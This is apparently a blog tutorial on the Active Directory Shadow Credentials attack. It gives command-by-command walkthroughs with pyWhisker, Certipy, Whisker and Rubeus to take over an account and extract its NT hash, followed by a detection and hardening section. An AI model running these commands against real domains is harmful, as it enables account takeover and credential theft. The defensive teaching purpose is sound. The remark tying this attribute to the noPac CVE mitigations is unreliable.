Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Introduction
Shadow Credentials is a powerful Active Directory attack that lets an operator who controls write access to a target object's msDS-KeyCredentialLink attribute take over that account — without ever resetting its password. By planting an attacker-controlled public key, you can authenticate as the target via Kerberos PKINIT, obtain a TGT, and ultimately recover the account's NT hash through the U2U / getnthash trick.
In this article you'll learn how the Key Trust model works under the hood, how to enumerate and exploit msDS-KeyCredentialLink with Whisker, pyWhisker, and Certipy, and — just as importantly — how a defender detects and shuts this down. If you're already comfortable with delegation abuse, this pairs naturally with Resource-Based Constrained Delegation and Certified Pre-Owned (AD CS abuse).
How It Works / Background
Microsoft introduced Windows Hello for Business (WHfB) Key Trust to let users authenticate with asymmetric key pairs instead of passwords. The mechanism relies on PKINIT — the public-key pre-authentication extension to Kerberos (RFC 4556).
The link between an account and its public keys lives in the multi-valued msDS-KeyCredentialLink attribute. Each value is a KeyCredential structure (serialized in the DSA binary "BLOB" format defined in MS-ADTS section 2.2.20) containing a key ID, the raw public key, and timestamps.
The attack abuses one simple fact: if you can write to msDS-KeyCredentialLink, you can add your own key pair. The KDC trusts any key present in that attribute. Once your public key is there, you hold the matching private key and can perform PKINIT pre-authentication as the victim:
- You add a certificate/key whose public part lands in
msDS-KeyCredentialLink. - You request a TGT with PKINIT, signing the pre-auth data with your private key.
- The KDC validates the signature against the stored public key and issues a TGT.
- Using the returned PAC and the U2U "getnthash" technique, you decrypt the NTLM hash embedded in the PAC's
PAC_CREDENTIAL_INFO.
Compared to a password reset, this is far stealthier: the password never changes, so the victim notices nothing, and you can re-authenticate at will until the key is removed.
Prerequisites
- Write permission over the target's
msDS-KeyCredentialLink. This is commonly granted viaGenericWrite,GenericAll,WriteProperty, or owning the object. BloodHound'sAddKeyCredentialLinkedge maps exactly to this. - A Domain Controller running Windows Server 2016 or later (KeyCredentialLink support). PKINIT requires the domain functional level to support it and at least one DC with a KDC certificate (an enterprise PKI is typically present).
- Tooling:
Whisker.exe(Windows/.NET),pywhisker+certipy/gettgtpkinit.py(Linux), orcertipy shadowfor the all-in-one path.
Attack Walkthrough
Step 1 — Find a target
Use BloodHound to look for AddKeyCredentialLink edges, or query DACLs directly. Here we assume our user j.doe has GenericWrite over the computer account WEB01$.
Step 2 — Linux path with pyWhisker + PKINIT
pywhisker writes the key, then you swap to a PKINIT client to redeem the TGT.
# Add a shadow credential to WEB01$ (exports a PFX + password)
pywhisker.py -d "corp.local" -u "j.doe" -p "Password123" \
--target "WEB01$" --action "add" \
--filename web01_shadow --export PEM
# Request a TGT via PKINIT using the planted key
gettgtpkinit.py -cert-pem web01_shadow_cert.pem \
-key-pem web01_shadow_priv.pem \
corp.local/WEB01\$ web01.ccache
gettgtpkinit.py also prints the AS-REP encryption key (the "PKINIT key"). Feed it to getnthash.py to recover the NT hash via U2U:
export KRB5CCNAME=web01.ccache
getnthash.py -key <AS-REP-encryption-key> corp.local/WEB01\$
You now hold WEB01$'s NT hash and can pass-the-hash, run DCSync if it's privileged, or perform silver/golden ticket operations.
Step 3 — The all-in-one Certipy path
certipy shadow collapses the entire chain — add key, PKINIT, getnthash — into one command:
# Auto: add key, authenticate, dump NT hash, then clean up
certipy shadow auto -u "j.doe@corp.local" -p "Password123" \
-account "WEB01$"
Certipy also supports granular sub-actions: add, list, remove, clear, and info. auto is preferred on engagements because it removes the planted credential afterward, minimizing footprint.
Step 4 — Windows path with Whisker.exe
When operating from a foothold on a domain-joined Windows host, Whisker (C#, by Elad Shamir / Eladio Pérez) is the native option. It generates the certificate, builds the KeyCredential BLOB, and writes the attribute via LDAP. It even prints a ready-to-run Rubeus command:
# Add a shadow credential and emit a Rubeus PKINIT command
Whisker.exe add /target:WEB01$ /domain:corp.local /dc:dc01.corp.local
# Use the emitted Rubeus command to get a TGT and the NT hash
Rubeus.exe asktgt /user:WEB01$ /certificate:<base64-PFX> \
/password:"<pfx-pass>" /getcredentials /show
Rubeus asktgt ... /getcredentials performs the U2U exchange and returns the NTLM hash directly.
To clean up:
Whisker.exe clear /target:WEB01$ /domain:corp.local /dc:dc01.corp.local
Attack Flow Diagram

One-line explanation: the attacker writes their public key into the victim's msDS-KeyCredentialLink, performs PKINIT to get a TGT, then uses a U2U exchange to extract the target's NT hash.
Detection & Defense (Blue Team)
Shadow Credentials is noisy in the right logs — defenders just need to be looking.
Audit the attribute writes. Enable SACLs on Directory Service object modifications and watch for Event ID 5136 (a directory object was modified) where LDAP Display Name is msDS-KeyCredentialLink. Legitimate writes overwhelmingly come from the WHfB enrollment flow (the AzureADKerberos / device registration process) and from the user/computer modifying its own key. A write where the Subject differs from the Object owner — or any write to a privileged account — is highly suspicious.
# Hunt for recent KeyCredentialLink writes across the domain
Get-ADObject -LDAPFilter '(msDS-KeyCredentialLink=*)' `
-Properties msDS-KeyCredentialLink, whenChanged |
Select-Object Name, whenChanged
Detect PKINIT abuse. Correlate Event ID 4768 (a Kerberos TGT was requested) where the Certificate Information fields are populated — PKINIT pre-auth was used. A PKINIT logon for a computer account or a service account that has no WHfB business case is a strong indicator.
Tighten DACLs. The root cause is excessive write access. Audit and remove GenericWrite/GenericAll/WriteProperty over msDS-KeyCredentialLink for non-administrative principals. Run BloodHound and eliminate AddKeyCredentialLink edges leading to Tier 0 assets.
Reduce credential exposure in the PAC. If you do not deploy Windows Hello for Business, the getnthash step relies on PAC_CREDENTIAL_INFO. Enabling Credential Guard and not provisioning roaming keys reduces the value an attacker extracts even if PKINIT succeeds.
Protect privileged accounts. Add Tier 0 accounts to the Protected Users group and harden DC certificate templates. Where WHfB is genuinely unused, consider monitoring msDS-KeyCredentialLink for any value as a baseline anomaly.
Microsoft hardening context. This attribute is also at the heart of CVE-2021-42278/42287 (sAMAccountName spoofing / noPac) mitigations and the broader KDC hardening Microsoft shipped; keep DCs fully patched, as PKINIT and PAC validation fixes are delivered through cumulative updates.
Conclusion
Shadow Credentials turns a seemingly minor DACL misconfiguration into full account takeover and persistence, all without touching the victim's password. For red teamers, certipy shadow auto and Whisker + Rubeus make it a two-command win. For defenders, the controls are concrete: lock down write access to msDS-KeyCredentialLink, audit Event IDs 5136 and 4768, and treat unexpected PKINIT logons as incidents. As with most AD attacks, least privilege on object DACLs is the durable fix.
References
- MITRE ATT&CK — T1556 (Modify Authentication Process): https://attack.mitre.org/techniques/T1556/
- MITRE ATT&CK — T1098 (Account Manipulation): https://attack.mitre.org/techniques/T1098/
- Elad Shamir, "Shadow Credentials: Abusing Key Trust Account Mapping": https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
- Whisker (eladshamir): https://github.com/eladshamir/Whisker
- pyWhisker (ShutdownRepo): https://github.com/ShutdownRepo/pywhisker
- Certipy (ly4k): https://github.com/ly4k/Certipy
- HackTricks — Shadow Credentials: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/shadow-credentials
- RFC 4556 — PKINIT: https://www.rfc-editor.org/rfc/rfc4556



Comments